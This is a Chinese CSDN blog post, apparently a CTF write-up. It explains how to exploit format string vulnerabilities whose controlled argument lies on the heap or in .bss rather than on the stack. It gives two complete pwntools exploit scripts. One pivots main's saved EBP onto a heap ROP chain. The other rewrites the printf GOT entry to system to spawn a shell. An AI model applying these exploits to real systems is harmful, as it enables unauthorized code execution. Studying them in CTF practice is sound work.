非栈上的格式化字符串漏洞

文章介绍了当格式化字符串漏洞的可控参数不在栈上时的两种利用方法。一种是通过ROP链,修改主函数的EBP寄存器为堆上description的地址,以获取shell。另一种是在.bss段的buf上操作,修改printf的got表为system地址,利用可控参数触发系统调用。两种方法都涉及到了栈帧操作、libc搜索和地址泄露技巧。
摘要由CSDN通过智能技术生成

格式化字符串漏洞点不在栈上怎么打

一般在栈上的格式会字符串漏洞,我们可以先泄露导致格式化字符串漏洞的函数的got表,然后利用%$hhn进行一个一个byte的写入,payload自己可以写函数去生成,或者利用pwntools库的fmtstr_payload(,{:})去自动生成,自己构造payload要注意payload是否有被‘\x00’截断,导致利用不成功,这种方法需要我们可控值是存储在栈上的参数,不在栈上时应该怎么办?介绍两种方法

第一种方法 将栈顶esp(rsp)提升到可控参数 进行rop

题目链接contacts

拿到题目运行

请添加图片描述

查看保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mNGTidjy-1679310511436)(./pwn/image-20230212164600939.png)]

开始ida反汇编静态分析

主函数就是一下简单switch,PrintInfo发现有我们可控参数,format是我们输入的Description,但是很遗憾在堆上(可以看到是利用malloc在堆上申请),源程序应该是个c的结构体

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D3dW5Ekc-1679310511436)(./pwn/image-20230212164835416.png)]
在这里插入图片描述

这是我们的思路可能在想可不可以改写printf的got为system地址,让后控制format为‘/bin/sh’从而获取shell,很遗憾不可以,参数没在栈上,可不可以利用改写返回地址为system_addr + ‘fake’ + addr of '/bin/sh‘ ,思想可行,由于改写过程需要大量输出,行为不可行,但是思想终归是正确的,我们是否可以把system_addr + ‘fake’ + addr of '/bin/sh‘输入到description,再利用格式化字符串漏洞,把main函数返回时保存的ebp给为堆上description地址,是可行的

gdb动态调试写exp

没有开pie保护,直接b *0x8048C22把断点下到漏洞处分析

在这里插入图片描述

观察栈里的参数1处为PrintInfo函数保存的ebp地址,2处为description堆上地址,3处为__libc_start_call_main调用函数时保存的返回地址,利用fmtarg得到各格式化参数偏移,接下来我们的思路就很明确了

  1. 利用%31$paaaa 泄露__libc_start_call_main,让后利用Libcsearch泄露版本号(ASLR保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变,原因是以页的大小为基础随机,linux一般4k),从而dump下libc里的system地址和/bin/sh地址,这里由于不知名原因导致__libc_start_call_main不行,脚本里换成了根据偏移libc_start_main地址,本地练习无所谓
  2. b’%6$p%11$pbbb’+p32(system)+b’fake’+p32(bin_sh)泄露description地址和ebp,同时写入rop需要成分
  3. b’%‘+str(heap_addr-4).encode()+b’c’+b’%6$n’向main函数ebp写入description堆地址
    • 程序中压入栈中的 ebp 值其实保存的是上一个函数的保存 ebp 值的地址,利用%n修改的又是地址里的内容,所以我们修改的是上上级函数ebp,也就是main
    • 为什么heap_addr需要-4,我们观察反汇编发现main函数利用leave 和 ret 来恢复堆栈和执行,leave也就等效于mov esp,ebp ;pop ebp恢复,在leave esp,ebp时堆栈已经提升到堆,pop ebp 会ebp+4,所以我们需要进行-4留出给fake ebp
  4. 然后我们退出main函数就可以拿到shell

完整exp如下

from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386')
pwnfile='./contacts'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote()
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
def createcontact(name, phone, descrip_len, description):
    io.recvuntil(b'>>> ')
    io.sendline(b'1')
    io.recvuntil(b'Contact info: \n')
    io.recvuntil(b'Name: ')
    io.sendline(name)
    io.recvuntil(b'You have 10 numbers\n')
    io.sendline(phone)
    io.recvuntil(b'Length of description: ')
    io.sendline(descrip_len)
    io.recvuntil(b'description:\n\t\t')
    io.sendline(description)


def printcontact():
    io.recvuntil(b'>>> ')
    io.sendline(b'4')
    io.recvuntil(b'Contacts:')
    io.recvuntil(b'Description: ')
# db('b *0x8048C1F')
payload = '%31$paaaa'
createcontact(b'1111', b'1111', b'111', payload)
printcontact()
__libc_start_call_main=int(ru(b'aaaa'),16)
success('get libc_start_main_ret addr: ' + hex(__libc_start_call_main))
__libc_start_main=__libc_start_call_main+0x3B
libc=LibcSearcher('__libc_start_main',__libc_start_main)
base=__libc_start_main-libc.dump('__libc_start_main')
p('__libc_start_main',__libc_start_main)
system=base+libc.dump('system')
bin_sh=base+libc.dump('str_bin_sh')
p('system',system)
p('bin_sh',bin_sh)
payload=b'%6$p%11$pbbb'+p32(system)+b'fake'+p32(bin_sh)
createcontact(b'222',b'222',b'222',payload)
printcontact()
ru(b'aaa')
data=ru(b'bbb')
print(data)
data=data.split(b'0x')
ebp_addr = int(data[1], 16)
heap_addr = int(data[2], 16)+12
p('ebp',ebp_addr)
p('heap',heap_addr)

payload=b'%'+str(heap_addr-4).encode()+b'c'+b'%6$n'
createcontact(b'3333', b'123456789', b'300', payload)
printcontact()
io.recvuntil('Description: ')
io.recvuntil('Description: ')

io.recvuntil('>>> ')

io.sendline(b'5')
io.interactive()

第二种方法 顺藤摸瓜修改栈上合适地址,改写got

题目链接:https://pan.baidu.com/s/1lLW4_0WPbxhORpcDk5GLZw
提取码:qydx

拿到题目运行

在这里插入图片描述

查看保护

在这里插入图片描述

ida反汇编静态分析

在这里插入图片描述

很明显的漏洞,发现buf在.bss段,同样不在栈区(.bss:未初始化的全局和静态C变量,以及所有被初始化为0的全局或静态变量。(目标文件该节在磁盘不占空间,在运行时,内存分配,初始化0))

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ezEWqv6b-1679310511438)(./pwn/image-20230212181831825.png)]

同样无法直接利用fmtstr_payload利用,这次我们观察程序发现这次程序在我们再次到底可控参数的printf没有使用printf,可以修改printf got为system地址,从而利用可控参数,拿到shell,由于可控参数在.bss段,我们就需要利用可控参数在原有栈的数据上做文章

gdb动态调试

输入%p后断点断到printf栈区如下
在这里插入图片描述

利用1处栈地址,也就是将0xffffcfa8地址处内容0xffffcfb8修改为0xffffcfac,由于开启pie保护,0xffffcfac处所存内容是elf文件所存地址+pie基址生成的,got表也在elf文件的数据区,也是有地址+pie基地址生成,所以我们只需要利用%$hn修改其低四位即可(小端序),buf地址可以利用%$p泄露,这样我们就可以输入buf为printf_got+payload,修改其got为system地址

exp构造

  1. %p%6$p泄露buf和ebp基地址

  2. ebp基地址+偏移得到可修改的有价值地址

  3. b’%‘+str((ebp基地址+偏移)&0xffff).encode()+b’c’+b’%6$hn’修改ebp指向地址

  4. 由于开启pie,需要先利用main返回地址泄露pie基地址,从而得到printf_got真实地址 %11$p

  5. b’%‘+str(printf_got&0xffff).encode()+b’c’+b’%10$hn’改写有价值的地址为printf_got

  6. %11$s\x00 利用布置好的printf_got泄露printf函数在libc里的真实地址 从而dump到system地址

  7. 改写printf_got为内容为system地址

在这里插入图片描述

  1. 由于两地址有3个字节的差异,一次%$hn只能改写2字节内容,而改写四字节内容需要的输出代价太大,我们需要在栈上找到另一个有价值的地址重复上面1.2.3.5步骤进行改写,改写其为printf_got地址的后两字节地址

  2. 接下来就可以构造常规payload改写got达到目的

完整exp

from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386')
pwnfile='./fmt_str_level_2_x86'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote()
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

# db('b *$rebase(0x130A)')
printf_got=elf.got['printf']
payload=b'%p%6$p'
sla(b'hello\n',payload)
addr=ru(b'\n')
addr=addr.split(b'0x')
base1=int(addr[2],16)
buf=int(addr[1],16)
p('base1',base1)
p('buf',buf)
base2=base1+4

payload=b'%'+str(base2&0xffff).encode()+b'c'+b'%6$hn'
sl(payload)
ru(b'\n')

payload=b'%11$p\x00'
sl(payload)
pie=int(r(10),16)-elf.symbols['main']-30
p('pie',pie)
printf_got+=pie

payload=b'%'+str(printf_got&0xffff).encode()+b'c'+b'%10$hn'
sl(payload)
ru(b'\n')

# leak printf addr
sl(b'%11$s\x00')
printf_addr=u32(r(4))

libc=LibcSearcher('printf',printf_addr)
base=printf_addr-libc.dump("printf")
system_addr=base+libc.dump('system')
p('base',base)
p('system',system_addr)


#change base1-4 ---7
payload=b'%'+str((base1-0xc)&0xffff).encode()+b'c'+b'%6$hn'
sl(payload)
ru('\n')
payload=b'%'+str((printf_got&0xffff)+2).encode()+b'c'+b'%10$hn'
sl(payload)
ru(b'\n')
sysl=system_addr&0xffff
sysh=(system_addr>>16)&0xffff
payload=b'%'+str(sysl).encode()+b'c'+b'%11$hn'+b'%'+str(sysh-sysl).encode()+b'c'+b'%7$hn'
sl(payload)
r(sysl+sysh)
# sleep(1)
sl('/bin/sh\x00')

io.interactive()

总结:一定还有其他姿势拿到shell,只是我们懂得太少不知道罢了Zzz

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值